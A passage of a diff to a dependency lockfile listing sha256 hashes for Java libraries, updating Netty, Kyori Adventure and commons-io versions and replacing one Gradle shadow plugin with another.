   "com/google/guava#listenablefuture/9999.0-empty-to-avoid-conflict-with-guava": {
    "jar": "sha256-s3KgN9QjCqV/vv/e8w/WEj+cDC24XQrO0AyRuXTzP5k=",
    "pom": "sha256-GNSx2yYVPU5VB5zh92ux/gXNuGLvmVSojLzE/zi4Z5s="
@@ -501,14 +562,30 @@
    "jar": "sha256-Ia8wySJnvWEiwOC00gzMtmQaN+r5VsZUDsRx1YTmSns=",
    "pom": "sha256-X6yoJLoRW+5FhzAzff2y/OpGui/XdNQwTtvzD6aj8FU="
   },
+  "com/google/j2objc#j2objc-annotations/3.0.0": {
+   "jar": "sha256-iCQVc0Z93KRP/U10qgTCu/0Rv3wX4MNCyUyd56cKfGQ=",
+   "pom": "sha256-I7PQOeForYndEUaY5t1744P0osV3uId9gsc6ZRXnShc="
+  },
   "com/googlecode/concurrent-trees#concurrent-trees/2.6.1": {
    "jar": "sha256-BONySYTipcv1VgbPo3KlvT08XSohUzpwBOPN5Tl2H6U=",
    "pom": "sha256-Q8K5sULnBV0fKlgn8QlEkl0idH2XVrMlDAeqtHU4qXE="
   },
+  "com/googlecode/javaewah#JavaEWAH/1.1.12": {
+   "jar": "sha256-sZIEMxrG4gS++vUIpo9S7GtGONnZus3b69Q1+cTVAPI=",
+   "pom": "sha256-BhhOmwWeCAkRgnE2r17Hj1fuTDvBn2MutWGw34+HiM4="
+  },
   "com/googlecode/javaewah#JavaEWAH/1.2.3": {
    "jar": "sha256-1lImlJcTxMYaeE9BxRFn57Axb5N2Q5jrup5DNrPZVMI=",
    "pom": "sha256-5O1sZpYgNm+ZOSBln+CsfLyD11PbwNwOseUplzr5byM="
   },
+  "com/gradleup/shadow#com.gradleup.shadow.gradle.plugin/8.3.6": {
+   "pom": "sha256-NidtUGriR/nwGsf4gtmR/Om7klqlTGD8Cwt5QDINnFw="
+  },
+  "com/gradleup/shadow#shadow-gradle-plugin/8.3.6": {
+   "jar": "sha256-fOIOvwHuKe7FJFY70UK6wpHXUTXtedDZUamP0skmXDs=",
+   "module": "sha256-+8pm1Bwrz9HiUE9uzIIf4BqbAIx27qnJQM+Ay1aaI/8=",
+   "pom": "sha256-lRJfSJrSuJ5gJXMmnK9h9tSF26gvHcuNCYDODfK2stA="
+  },
   "com/lmax#disruptor/4.0.0": {
    "jar": "sha256-wrqAhBVBJyvIFbytq5ENLXFqpWPsoVdiRQq0yIlEBQU=",
    "module": "sha256-/ccJZrzS41x5Tc4sF7mZwuZpUOFYUx6Z3BUfsOvCllM=",
@@ -567,9 +644,9 @@
    "jar": "sha256-7urpF5FxRKaKdB1MDf9mqlxcX9hVk/8he87T/Iyng7g=",
    "pom": "sha256-1dgfzCiMDYxxHDAgB8raSqmiJu0aES1LqmTLHWMiFws="
   },
-  "commons-io#commons-io/2.15.1": {
-   "jar": "sha256-pYrxLuG2jP0uuwwnyu8WTwhDgaAOyBpIzCdf1+pU4VQ=",
-   "pom": "sha256-Fxoa+CtnWetXQLO4gJrKgBE96vEVMDby9ERZAd/T+R0="
+  "commons-io#commons-io/2.17.0": {
+   "jar": "sha256-SqTKSPPf0wt4Igt4gdjLk+rECT7JQ2G2vvqUh5mKVQs=",
+   "pom": "sha256-SEqTn/9TELjLXGuQKcLc8VXT+TuLjWKF8/VrsroJ/Ek="
   },
   "dev/equo/ide#solstice/1.7.5": {
    "jar": "sha256-BuFLxDrMMx2ra16iAfxnNk7RI/mCyF+lEx8IF+1lrk8=",
@@ -580,120 +657,106 @@
    "jar": "sha256-DnGR++Mk+5340tIHwHtma43CW7vib1OkxS4v7OYkqXY=",
    "pom": "sha256-+pvmlFd2A+LUy1X0UjctP2wPk+XzjuXNf7Yos3k8qbw="
   },
-  "io/fabric8#kubernetes-client-bom/5.12.4": {
-   "pom": "sha256-0jI5KonD79yFqymcWpToud01vALzQM6ERv9lmqFZE6A="
-  },
-  "io/github/goooler/shadow#io.github.goooler.shadow.gradle.plugin/8.1.5": {
-   "pom": "sha256-jzpPZuyZj2+w/T3lacYy607vycDvmIh0/pq2sF6OZAI="
-  },
-  "io/github/goooler/shadow#shadow-gradle-plugin/8.1.5": {
-   "jar": "sha256-p7085GPChFndkIaPyJjNX+wyDD3/U0fw9oiFp72eQtU=",
-   "module": "sha256-d07ZeQXwUHxpfxeKhAFy/bQ+pJz8L55Je4DAlfN6rtU=",
-   "pom": "sha256-7Z4JpOOV2pTl7BNx1XynWglhZtS65b9W85cKD+3ttQc="
-  },
   "io/leangen/geantyref#geantyref/1.3.11": {
    "jar": "sha256-wmJ0R0s4RLzbfYPPc6eFNm+EtFO8F6GRz6T4/D4CIjQ=",
    "pom": "sha256-3Etrgt7DQXBSvBc7lC+5asogUIpLmkfp8b2yQAXkPuc="
   },
-  "io/netty#netty-bom/4.1.104.Final": {
-   "pom": "sha256-WmXgahWdINO0gAYkpXDGRtvucQsrU5s0SaJoVYwonpw="
+  "io/netty#netty-buffer/4.2.1.Final": {
+   "jar": "sha256-Ls6NhBPVqjWh0eD+lPafnp7dj3q7U/bFV6Rzyf0L/I4=",
+   "pom": "sha256-kI8SXPGXUNqRcRIhTOuon6Rt0iZU3tvAQbmaGN516gg="
   },
-  "io/netty#netty-buffer/4.2.0.Final": {
-   "jar": "sha256-wBkmAXvg2WcRhFhSomRt5L8AqSVCsC7ZFfW+5Ugi/g0=",
-   "pom": "sha256-bBjzQVX17TipgvzKvnFjpPtKyIJT+mXMUO2UW5wqihA="
+  "io/netty#netty-codec-base/4.2.1.Final": {
+   "jar": "sha256-wqGnr5kWlCcvdLt9qwEFkEl5DBS0U3YACYJ+EFUw07c=",
+   "pom": "sha256-HhZaZI/68L/DUEepXastE8xH9MhaO60bpeX/GR9RTfw="
   },
-  "io/netty#netty-codec-base/4.2.0.Final": {
-   "jar": "sha256-RrVqvXE66yfG9H1zo+SF6iHZbFUFQWJq0PYsoMrhGPQ=",
-   "pom": "sha256-NiGpDs4IdW0xajveLg3IBxhIc/j/CC92+klZeguCNbU="
+  "io/netty#netty-codec-compression/4.2.1.Final": {
+   "jar": "sha256-x9UaT2nEv78EP5LRlvYabfQq0pxb0NBT0QcRciClykY=",
+   "pom": "sha256-PUu9bTVQI2qrQ9FQxrKPBvV0QFpg0K7k7Z43G2nPF8U="
   },
-  "io/netty#netty-codec-compression/4.2.0.Final": {
-   "jar": "sha256-tl3evCEZwECx5W+bZkfs3vjc29zSAOkdY63atOsauRw=",
-   "pom": "sha256-cuWm+0uQbKqiQxZebFNiyuAU4OAIE+11Hb5Y0B3p+eA="
+  "io/netty#netty-codec-haproxy/4.2.1.Final": {
+   "jar": "sha256-9tKNDNRcyZhLpihrVZdg9/q9Xc8K0XhwHvDq5SmfRlc=",
+   "pom": "sha256-1/zgS3ordcAx0e/Fg7kZ7WT8OATQ+fe/cNtN83TIyrQ="
   },
-  "io/netty#netty-codec-haproxy/4.2.0.Final": {
-   "jar": "sha256-Cyah1KJ7DmzZGp6w21n71bBBmukrZdaSBGbIynWzSFo=",
-   "pom": "sha256-xlckSFjKcaOrz5xXjNN5eIl23x82aemjlo3U+TCggOg="
+  "io/netty#netty-codec-http/4.2.1.Final": {
+   "jar": "sha256-EOgxhiv32rzsz0/YKYnDHdo5qJ7Wac9+lt7glykHdUE=",
+   "pom": "sha256-IgFVyOpvA50KfkncC8wJEDVCK63RJqtdTHJCcQKlzFo="
   },
-  "io/netty#netty-codec-http/4.2.0.Final": {
-   "jar": "sha256-iG0GBiC164CipVNL5wpH/FFsYKvQVVcPDvNMr28dYeI=",
-   "pom": "sha256-rI0zA731xoXJfFQQEzLGEqbrIc2KYI3mhtjfz1TFoJs="
+  "io/netty#netty-codec-marshalling/4.2.1.Final": {
+   "jar": "sha256-SFSZicclpwJXkTKathKhpMvksQ5T9KaxPkTJwMVCh2o=",
+   "pom": "sha256-Jbo/nNzuOZQJYUr0NYs1SQKnVXqxLSgFTCE2WRom088="
   },
-  "io/netty#netty-codec-marshalling/4.2.0.Final": {
-   "jar": "sha256-vdBfpYoNkN4YJfHLFtUYuYNXGS3TA/f2u1QUFdCSi60=",
-   "pom": "sha256-7q2vroWVahx6stgVkzy22BudMpyo6O9u1ANne3Dt7hY="
+  "io/netty#netty-codec-protobuf/4.2.1.Final": {
+   "jar": "sha256-yQ/7MaBKMoAonacuY6r3oj+XwWmOLMm5a/pkad+C9Zg=",
+   "pom": "sha256-1THFYFdSdgq6pFwwbPwyv9DdhrUjeVyYCv7qASifEDg="
   },
-  "io/netty#netty-codec-protobuf/4.2.0.Final": {
-   "jar": "sha256-1hkWVKT52MRAv4VqAQxb1RhuwQAMEB03dUNSAESHjmU=",
-   "pom": "sha256-KUWxLJErMIvF3X7Sdeaol/hsaMuDoi9adJ2HN04NKlo="
+  "io/netty#netty-codec/4.2.1.Final": {
+   "jar": "sha256-7vbxj3GsXjLcJ6jVJUeRRsWf7DAJnUMaQGYq/329RvE=",
+   "pom": "sha256-50zpmZRDPP4uWb0c5YR5fpCK1ddv47TZfp5xpzChvGQ="
   },
-  "io/netty#netty-codec/4.2.0.Final": {
-   "jar": "sha256-fbLwyPRKH7ZoZPPvqG0DqZigfNOB1s0Oh0YR9GSKkM0=",
-   "pom": "sha256-WhGKGtrJLpPpS63SMdxvMS0k2RkWEOo5O3X+1FDaYd8="
+  "io/netty#netty-common/4.2.1.Final": {
+   "jar": "sha256-fupKlvYazgYzeQY3QVDLc8lPJIiX/aPahltcOKcQvf0=",
+   "pom": "sha256-LuOladJw8oHrQ6uo6Mb9sgQXtV3D+wffbVPEwM39/Cs="
   },
-  "io/netty#netty-common/4.2.0.Final": {
-   "jar": "sha256-UjcLbBMfU2tgybHmQ+mptuf/7PeH1dNFOxaJr72JSIY=",
-   "pom": "sha256-PPsQLAvAFyLCB/prp3iMnGkxbssK7NpZneT/rEw1nnM="
+  "io/netty#netty-handler/4.2.1.Final": {
+   "jar": "sha256-uX0Fet//+4JM5rXZh2v+Hwv86yRQS2ONP2xik8//XcU=",
+   "pom": "sha256-2eLP4nuNM9r9fSmHXLIaYV17+TD29tRfRP2wVQNn11Q="
   },
-  "io/netty#netty-handler/4.2.0.Final": {
-   "jar": "sha256-ZBJAh4MnA68MxjSeCj442TkkrQj9X6RzB+r5qug5YdA=",
-   "pom": "sha256-VX4ITPkgVg6ZtVUKb8Vcy74jpTmtCURFdhVsAHmtSa8="
+  "io/netty#netty-parent/4.2.1.Final": {
+   "pom": "sha256-w5aMzUh1X2OcSI0V9sFBOc76FWGZbEdiBcK+IdZngLQ="
   },
-  "io/netty#netty-parent/4.2.0.Final": {
-   "pom": "sha256-r7Or46M80QKlWTbO40FwE4txcozZWEY78FDKE375qxw="
+  "io/netty#netty-resolver/4.2.1.Final": {
+   "jar": "sha256-+xxanxIwzFWJRKxjPltk0+TsmB2ODVcn1fWBIgCLIY4=",
+   "pom": "sha256-yHpisHkPKXcurI6z3uY9Dm4ZQY2H57sbTZhK+E7LdQ4="
   },
-  "io/netty#netty-resolver/4.2.0.Final": {
-   "jar": "sha256-ySpDpbHanOEWv3PvuyNkT+acHNM9037ZDcxXnvWt0Sg=",
-   "pom": "sha256-cGaHuj0B5olAF0hwSJ1Nt6R0Rj6UAv7p6QqySgnccK0="
+  "io/netty#netty-transport-classes-epoll/4.2.1.Final": {
+   "jar": "sha256-zC+Xr6VoTxmVpfEAazbJuksjPB5oA4xQ5bd7FKuk7qQ=",
+   "pom": "sha256-xDnVSdFm5hjdHluGEj62ZJmzf9Mo+UleCJh8TsduvS0="
   },
-  "io/netty#netty-transport-classes-epoll/4.2.0.Final": {
-   "jar": "sha256-tyKjARA3ByL1AljVtKIZcMKvHO+zgQCAwe+zFhJ8ZCg=",
-   "pom": "sha256-TiF2aSsdI1maf2xsSAf7tBpHbGClxldxccW9WLxvftk="
+  "io/netty#netty-transport-classes-io_uring/4.2.1.Final": {
+   "jar": "sha256-xt64sgz3ajfiz26QX9Pu5Ph+7WR41O11x3CfQOABkVY=",
+   "pom": "sha256-pW283sTP9EwK3z21jILuXXTjtwxw+bgvstQljd1+mkk="
   },
-  "io/netty#netty-transport-classes-io_uring/4.2.0.Final": {
-   "jar": "sha256-Y1RIRQCPj9/wW4JcUOoiCWJQNMLPZfiFl/dvPKvH2O0=",
-   "pom": "sha256-tjAC7xoEeJ9zHMIF7voNJM5z4bZ9kX34wxvbSj4xkkM="
+  "io/netty#netty-transport-classes-kqueue/4.2.1.Final": {
+   "jar": "sha256-jx1LTHuS7dMdGcF2q2DF4+ceeESBzJXH/FDHRRHTLVY=",
+   "pom": "sha256-FZfud6TwQxu61IMSkFPYCpJxI9QEZKiMbK8mFfSJ0X0="
   },
-  "io/netty#netty-transport-classes-kqueue/4.2.0.Final": {
-   "jar": "sha256-4PX/BxGBO+ynWQ9ST9J3oe8WXy7pxRlrq41y10LdbCE=",
-   "pom": "sha256-KpL37GnxRY82aAnD1M99dRR23CxIuAZxdH0JWPk4sG0="
+  "io/netty#netty-transport-native-epoll/4.2.1.Final": {
+   "jar": "sha256-r7pS5ooybM9V+fDL5DKL3HdfTQfkmp/bBU7e4zKk1iY=",
+   "pom": "sha256-jU8ZMnkjUd2dh18wKBgtGO380ot2HRmh/v28vTA53ho="
   },
-  "io/netty#netty-transport-native-epoll/4.2.0.Final": {
-   "jar": "sha256-VHWlUTe9NaqZ8iA6nzjqX2N08BS4jfcp7bmZ9KgYo80=",
-   "pom": "sha256-I0HScHWe5FI3f+gvtxRoHet1Wta4XdPnTrPSMi+HfB0="
+  "io/netty#netty-transport-native-epoll/4.2.1.Final/linux-aarch_64": {
+   "jar": "sha256-qKVqGCRta5N39nhh3ZnVRJd7eCKPvueD/pK291kebwo="
   },
-  "io/netty#netty-transport-native-epoll/4.2.0.Final/linux-aarch_64": {
-   "jar": "sha256-o9xKVsE5jbEifUQcr0Ii2xaKXT9449X7tGu6lkmkOLU="
+  "io/netty#netty-transport-native-epoll/4.2.1.Final/linux-x86_64": {
+   "jar": "sha256-06vTRm3/oo01EC+Ig0a6TO9ZvBVm0AhLX6xf6yrasf0="
   },
-  "io/netty#netty-transport-native-epoll/4.2.0.Final/linux-x86_64": {
-   "jar": "sha256-EQc20zqQ7V3p/HSEpDuopaJ+YRz57Bzl83f6Fu3wk6I="
+  "io/netty#netty-transport-native-io_uring/4.2.1.Final": {
+   "jar": "sha256-cA85zEIqvjT0pypNb4vXrIN+IPkKaw19bqBioJPaRfQ=",
+   "pom": "sha256-sIrz9A+m3YDNS7IHuKbDC056QnyqJQXplvELqKmsOcY="
   },
-  "io/netty#netty-transport-native-io_uring/4.2.0.Final": {
-   "jar": "sha256-oTzFZIYRhC4iEavTzG7QwHNqlF2OxgHE3Pa9kkPboGw=",
-   "pom": "sha256-f45+F28dIA4O6ojEIu8fOPIbh1kmSsTNLsY2oLVCHDk="
+  "io/netty#netty-transport-native-io_uring/4.2.1.Final/linux-aarch_64": {
+   "jar": "sha256-Sz4XmKmexoj1p0KO0XdT7mi1ODY3RYVQ7KVycgFa27U="
   },
-  "io/netty#netty-transport-native-io_uring/4.2.0.Final/linux-aarch_64": {
-   "jar": "sha256-YavxiRa4SKO7bAO0UnUyRxVeVb4YNWtdcTtaE0TInvs="
+  "io/netty#netty-transport-native-io_uring/4.2.1.Final/linux-x86_64": {
+   "jar": "sha256-iWlfPXfnC3GSwonzezLC077qlQRhh0/mrZZTP8m5jXE="
   },
-  "io/netty#netty-transport-native-io_uring/4.2.0.Final/linux-x86_64": {
-   "jar": "sha256-VjWAqkvFfpxORqWG90gz8LNKLL9M8z6CCIMgqodqtxY="
+  "io/netty#netty-transport-native-kqueue/4.2.1.Final": {
+   "jar": "sha256-yBOQD8hQKKmxDapY57E/gAdIByXWj5LSmIk6IX4TASo=",
+   "pom": "sha256-2sqgyfd13F0mqip8Paewi5nMw++c/it0XEMJtJZRj00="
   },
-  "io/netty#netty-transport-native-kqueue/4.2.0.Final": {
-   "jar": "sha256-izT+uqOG2dFXVzP28oJDgaJcslyFhpUY98VvriN1AJg=",
-   "pom": "sha256-sVEZGtkMTI/ScxJcB/2Z2nkYxIsW1TJ4EbeXhYd9Fr4="
+  "io/netty#netty-transport-native-kqueue/4.2.1.Final/osx-aarch_64": {
+   "jar": "sha256-M1afocec8CjdrrAwZ2PiyUJx1shUTFkX0Pmc3pLjxKE="
   },
-  "io/netty#netty-transport-native-kqueue/4.2.0.Final/osx-aarch_64": {
-   "jar": "sha256-B7vau9N0Ngx7tGDqF4iaNlvC9q+yKUO6u6/fdv+nSA8="
+  "io/netty#netty-transport-native-kqueue/4.2.1.Final/osx-x86_64": {
+   "jar": "sha256-2Kh+nBDNnLxRsiJXq43HmfCywb87V4/gH4phdaxf2g4="
   },
-  "io/netty#netty-transport-native-kqueue/4.2.0.Final/osx-x86_64": {
-   "jar": "sha256-sCYa4U6hX5dz4ayf8uu3oNlyF9HauW0HWVnFYEVMQw4="
+  "io/netty#netty-transport-native-unix-common/4.2.1.Final": {
+   "jar": "sha256-fyp3RpUMyyJ5CK/j7iG5vPaczFhDe7F8FXmo1XL7OKk=",
+   "pom": "sha256-XZQGqeIfeIg7nliBQp3VOFQ0bxEEXbs4H49By/LbdYE="
   },
-  "io/netty#netty-transport-native-unix-common/4.2.0.Final": {
-   "jar": "sha256-7qfwGHxAlNWTQbFQ1K0fxEyWOuZHcn1fM6hkR00g9VI=",
-   "pom": "sha256-kT7odeA5R97x91lJLS+ZNgKWAfE+6EET/zlCSd4NiSk="
-  },
-  "io/netty#netty-transport/4.2.0.Final": {
-   "jar": "sha256-LAurKGrjmt+MKikn2C5v2WTcGbPtH729TG9OIg8FKP8=",
-   "pom": "sha256-YNXY8UcYoSxfjYkUPjo2/7tWE72VAJLHyaol4sy+Urc="
+  "io/netty#netty-transport/4.2.1.Final": {
+   "jar": "sha256-up/UVZj6BWBdKlAU1vRxEuQ5K6K5Es0eN4bkhRs5fPc=",
+   "pom": "sha256-g8ryhVEg1V430/dDgX23gUOezAxMfra7Zv80sEDNjO8="
   },
   "it/unimi/dsi#fastutil/8.5.15": {
    "jar": "sha256-z/62ZzvfHm5Dd9aE3y9VrDWc9c9t9hPgXmLe7qUAk2o=",
@@ -724,24 +787,24 @@
    "jar": "sha256-Yq4oGH7SsGKBPaap1We/7nM8NBWCaZti3ZgCMHKaAxM=",
    "pom": "sha256-NYRJ1sc1OFhFCN2K5s/eVrr0o0t2e3HZzEZE8PH0IRo="
   },
-  "net/kyori#adventure-api/4.21.0": {
-   "jar": "sha256-ZKdldgQB541DOofb1M2lcBazA4U8b9Hclwh7WjqmgTM=",
-   "module": "sha256-+lKIKqUdj68bqml6drFHBnQUmNTKOkGg2MSrkTr6mV8=",
-   "pom": "sha256-dRFiV0Q3x90YtMgLxL5lBOtRCVVTL6YGhO8xU5LhQCc="
+  "net/kyori#adventure-api/4.23.0": {
+   "jar": "sha256-Ubn89img4yWTTyoyHpdL1tqCMzMmb/CZtK2GJC7cXvQ=",
+   "module": "sha256-ssVpI4V4Sh8OZm+ETRp3aMFkoIqFDC+SjNxBW/lSLJ0=",
+   "pom": "sha256-rXHK/j8ZankUdWLS1zFs2Xy4IEzWT1u7tDbaxsd69sk="
   },
-  "net/kyori#adventure-bom/4.21.0": {
-   "module": "sha256-6oUg3iIrlad0iW1bqJtFbKHQs7+RZbPsyOwvLXZhKPM=",
-   "pom": "sha256-fpuPxF10yGMnby42w0azTt+R2UJGxGgjRxv4w1hlenQ="
+  "net/kyori#adventure-bom/4.23.0": {
+   "module": "sha256-c9ge6qJeY3eAOKKVCMQKFLwJ6bZWEjaIoUJHc5HDOeo=",
+   "pom": "sha256-FGu/m1sl8kwUwlpmW76XgKXsCUmgPGttk7c/PfaQ9fM="
   },
-  "net/kyori#adventure-key/4.21.0": {
-   "jar": "sha256-apOYydQCCJ+doGCla0XK59WMvxmTcabY7Bom2PlMxrs=",
-   "module": "sha256-aepciDIN/bFf/lUqRKf0G8gBQqu6Kuds6nG3g4uF4Ho=",
-   "pom": "sha256-BERAvYv/A9TmYDNK3F5V8/bPlLf/ddBzS4DEHjqCgJc="
+  "net/kyori#adventure-key/4.23.0": {
+   "jar": "sha256-gDd4WEpb+PpfF7q5s7YkUO4TEP2SjyAPFoOSmkMMJmQ=",
+   "module": "sha256-o4U17pVdUtrTEco9rneVLJRybh55ytyr98WMYusqn0U=",
+   "pom": "sha256-iaYmnO5F3YJsKqD5mSQebjvq79mtSfkyxSZNvNcxewk="
   },
-  "net/kyori#adventure-nbt/4.21.0": {
-   "jar": "sha256-r27AXxaClKLmiLs8UhGxI70NTXh5HiS7fxE5rZi16zU=",
-   "module": "sha256-AGs77o7gGbcDYQ2MfBgzRW5OQ7nhEJO5yFF6Ck0M+B0=",
-   "pom": "sha256-0DAw5LnLm+QZSU42YB/opYAbt0nfH4pY8Xhn4SBwRzE="
+  "net/kyori#adventure-nbt/4.23.0": {
+   "jar": "sha256-2HqbMvVCeqeGOjG7+8q6t36WIExdKKYvf4DWalJtcEY=",
+   "module": "sha256-cdaqmcJYMWM5RELtBF4FrGyY3KvHEtMi5KBpBbdKOTY=",
+   "pom": "sha256-lKa0XCvcLlfTGwOL2sLeaV8qRp4TlpDLskiFuG4vOM4="
   },
   "net/kyori#adventure-platform-api/4.3.4": {
    "jar": "sha256-7GBGKMK3wWXqdMH8s6LQ8DNZwsd6FJYOOgvC43lnCsI=",
@@ -753,50 +816,50 @@
    "module": "sha256-VYXzbUzK6MaYbW4tmAjZs5ywl28CLK8sANPP5v1HTQQ=",
    "pom": "sha256-wP6w6syf5B8iL5iXsS4lrDw0Ub3VYWwUhclppgBO2eE="
   },
-  "net/kyori#adventure-text-logger-slf4j/4.21.0": {
-   "jar": "sha256-RyStz+/740AsjoMhhGkGArN0uxZuvRfm7ACMRFxTeTU=",
-   "module": "sha256-5WCx5qig2rD9wE+mseKirWZ3EkMJiyolz7A76DFNxtU=",
-   "pom": "sha256-7V/qFBbC6VjJcntV4fEaRoDmyM52WLE8FVt7UrEKPso="
+  "net/kyori#adventure-text-logger-slf4j/4.23.0": {
+   "jar": "sha256-e41RpiLFfZgt64llKz4tbukSj2V82lSRKtkmaL2r42Q=",
+   "module": "sha256-/xZGn2LzFSLEpmN50bXR0/vJfGKBNd1fpVG3Nkck8Eo=",
+   "pom": "sha256-zSk39q2IjiVO5SB9RWW2jmd2XErDNHAezauWoWQjC2s="
   },
-  "net/kyori#adventure-text-minimessage/4.21.0": {
-   "jar": "sha256-UctIeIUbcmM76h0bWyTo3jRhS8koroodupa2OOmk6MQ=",
-   "module": "sha256-c/i/PZOmL76h8kLHmSq0qLNhuml92HWZCku22tY3qCs=",
-   "pom": "sha256-zwtZrXXi99pqoHZ0wlrwAKD4UNXmceXSs8aKgtTeVxA="
+  "net/kyori#adventure-text-minimessage/4.23.0": {
+   "jar": "sha256-Vu0nZroiOLQBuuqWDTquRftY/aFhTalo/iuR/bnDgTw=",
+   "module": "sha256-H19hklBkEB3mY1LP0Qq43fWu/2RyVZt7KL1wERxaf2c=",
+   "pom": "sha256-fxTmmBxHbcYjPE5oGCZWIP4vV0uxfdj3UzKd8J8Cd2Q="
   },
-  "net/kyori#adventure-text-serializer-ansi/4.21.0": {
-   "jar": "sha256-LwrIh56+RgbvZhviUgAzqVEo6TDK0wr1vAxpy1kSmcU=",
-   "module": "sha256-V+Qm8xoIWTqA1aZvxnr/Y1y9Cqh8x8RWicmTpqoGwU0=",
-   "pom": "sha256-+cXbfm4x6DLrME+ZtgqP8AbTZ39XZOSqH1muT0KgDUU="
+  "net/kyori#adventure-text-serializer-ansi/4.23.0": {
+   "jar": "sha256-rF6iq0xE0wLnlkag9NRfSsmESi6sBpDoCnPc/SOy5Vw=",
+   "module": "sha256-/65qUt91zjFf3gi4HVKZ9JfEyfxcbGw3cCcfOMR2NQA=",
+   "pom": "sha256-9zq7B/otQpS9CaSm9Gpbu/WzbcUNpx/zPOPFuBlesKU="
   },
-  "net/kyori#adventure-text-serializer-commons/4.21.0": {
-   "jar": "sha256-LusmYFxyOlfltj0kwt1kGCFToUhsqOnzC8ukLSB/LCo=",
-   "module": "sha256-2SyvdO7dl496C1Q9dH4bNGD2+incUK9KAJEXKyyYJqM=",
-   "pom": "sha256-iSySW39EOPgDnk93KciCbI84LICMDDTIhoOtNqEN3PI="
+  "net/kyori#adventure-text-serializer-commons/4.23.0": {
+   "jar": "sha256-7ol3hRw6RFAN4rCOuqvVOX7Anzs2foblMInROHty+p0=",
+   "module": "sha256-YjLHYBQobnByp5HHWVWahxFizy18z81tDqGE3juXwgY=",
+   "pom": "sha256-ZyydJyIj/+Q6qskmSMNidr3yFBPKIG1Z0dOfAAjGEg0="
   },
-  "net/kyori#adventure-text-serializer-gson/4.21.0": {
-   "jar": "sha256-ObUc+poE324dL0MdJqaX7WGWI2ls3rHAChr9NHxc4IQ=",
-   "module": "sha256-xSvs+73VcbpmWXy7iHfbGxeBYfCNA44zYIv9P54aD28=",
-   "pom": "sha256-aEx9Da6SK8h5u+4lweWm/L6vCdnbDhijb9IuUZlqWsM="
+  "net/kyori#adventure-text-serializer-gson/4.23.0": {
+   "jar": "sha256-PiaD2i0UAwMjzJZFu6TNhtfLq/zkK9Fi7C2lDF59Yig=",
+   "module": "sha256-bX0ip7YdYnZqtPATdojSzM3ensdkP6OTzOlswwyX9vw=",
+   "pom": "sha256-bD3I0ry/SXG30bxzV8i+Xg5w4EqKhEt8RPQdada4XWo="
   },
-  "net/kyori#adventure-text-serializer-json-legacy-impl/4.21.0": {
-   "jar": "sha256-zMCsXIBSo1C/yrpnyk03xyFL5aH42Syq44wcrWz4v1U=",
-   "module": "sha256-b4OuzShhdN3x79WpDiGuHB2uI3dxU71gx5C0BM8mgAQ=",
-   "pom": "sha256-ix6svUQKhS+N0V5SekEvDIU+uAaJc72krT+6K+Eq/QQ="
+  "net/kyori#adventure-text-serializer-json-legacy-impl/4.23.0": {
+   "jar": "sha256-ovBQ7uMdiedww3bnPZoxt/b8QaORU0QTyUvksIF4vuQ=",
+   "module": "sha256-5Zqpg2TubngVdr3o0r6KLAd9quhvOqXKmUjAbW8s+XM=",
+   "pom": "sha256-iPCayPZoGa4ib7nDqSt2ZzrG4m9VMH+adhOVhraDO40="
   },
-  "net/kyori#adventure-text-serializer-json/4.21.0": {
-   "jar": "sha256-kocXstx2RathZhfAvVXoCpwDWHYrWQoNPAu+MCsuVIE=",
-   "module": "sha256-wTimiDaAyLv+TCvGCGU/AKxhu/QGqbXYHSityPXo3Q0=",
-   "pom": "sha256-XAMhaDcf2h9er2XKH0YsCV/ci8qGlyxL15T9CsaVLtg="
+  "net/kyori#adventure-text-serializer-json/4.23.0": {
+   "jar": "sha256-/CvHvwb8Cv5wbWJ493GDcqRoTSGhblLk1iJldxUomE8=",
+   "module": "sha256-KNC8Tk4rwY5zi1eBI+hXFug0GOlabO+KMeCPiVvw1MQ=",
+   "pom": "sha256-9b8uVtQSdYvaYyQEpwh2LILTQDI8zz1AEkHGdz1oeqw="
   },
-  "net/kyori#adventure-text-serializer-legacy/4.21.0": {
-   "jar": "sha256-msG5n4KEWOGQCPZ1eBoOjIUXzfoiofxbuHp79pVUw1w=",
-   "module": "sha256-mJvCjUI2jqtsZERpc3oocvgf+BTCp+wWGwUqHRgkQQg=",
-   "pom": "sha256-KpOkDYdQEqmRPf4z6W5LXIUlRwDqVDSndkjHNLDFAhk="
+  "net/kyori#adventure-text-serializer-legacy/4.23.0": {
+   "jar": "sha256-1SgOt1vypertB5eXGmzJAtxrjLtv6sJwEcyGJGEIIJ0=",
+   "module": "sha256-ci7v3AmzXyiOb6kKZ/CviLiS+ySDGUNqbg0QAxo4ADU=",
+   "pom": "sha256-9jjCmc72C3tNLOpg7vXYMntHW5d2HxxNq5VOHUWXUik="
   },
-  "net/kyori#adventure-text-serializer-plain/4.21.0": {
-   "jar": "sha256-Ep1piIu5P+lvUS8eWBodNvAog2G4Xo7IBP1u7LzvMS4=",
-   "module": "sha256-qtwvfOI85wiFn3c/Bti6y6r1fWsGfG1vtSwx40gCrt4=",
-   "pom": "sha256-kqv+DaajY+E0gwjXNMuwTfyZkzjKq5zqVV4/JN9WLD0="
+  "net/kyori#adventure-text-serializer-plain/4.23.0": {
+   "jar": "sha256-wuHYBMob54Q09K1r29U8yXoROtkpXLTJNs87nZAsWR4=",
+   "module": "sha256-OwEWAKJgf8zpq1+u7fWcvNQkgUmlMlXXfHZJJmO+IxM=",
+   "pom": "sha256-qVKWXEA9cuZKvM5m+BgxxE7dgimWU/sqlhbwzWfgAQI="
   },
   "net/kyori#ansi/1.1.1": {
    "jar": "sha256-tsVp4aCSW57rNJ4S2zXiI3VWEH4zNmV+Cy694mHYr9c=",
@@ -813,6 +876,11 @@
    "module": "sha256-qfpHivwqQ0b4pb4JH14UZmhgGS3YZbHj2FkilmRsdP4=",
    "pom": "sha256-XuAEEIIvNukBnZR2LOAbzWA5VpdlNRvvBmCUXNT5pW4="
   },
+  "net/kyori#mammoth/1.4.0": {
+   "jar": "sha256-sEq7lrZm92PS10Z7AwjyP+jYt1P4rYkUOBTLXqmQHrM=",
+   "module": "sha256-wgR2ao8Uzk4aEkpTAqmDkQH82hGN4qumt2zGKGUmSq4=",
+   "pom": "sha256-uKJc0TFMWmsbn7lUg/132CUjKF/vpwW9dL+Ta65yRCE="
+  },
   "net/kyori#option/1.1.0": {
    "jar": "sha256-l7abSxff4CIXyRMa00JWTLya69BMdetoljm194/UsRw=",
    "module": "sha256-Ntn51ZofzGCTZ6rMqiSTGWA+Ukf2qP4RK3O6uSGscNg=",
@@ -856,16 +924,16 @@
   "org/apache#apache/33": {
    "pom": "sha256-14vYUkxfg4ChkKZSVoZimpXf5RLfIRETg6bYwJI6RBU="
   },
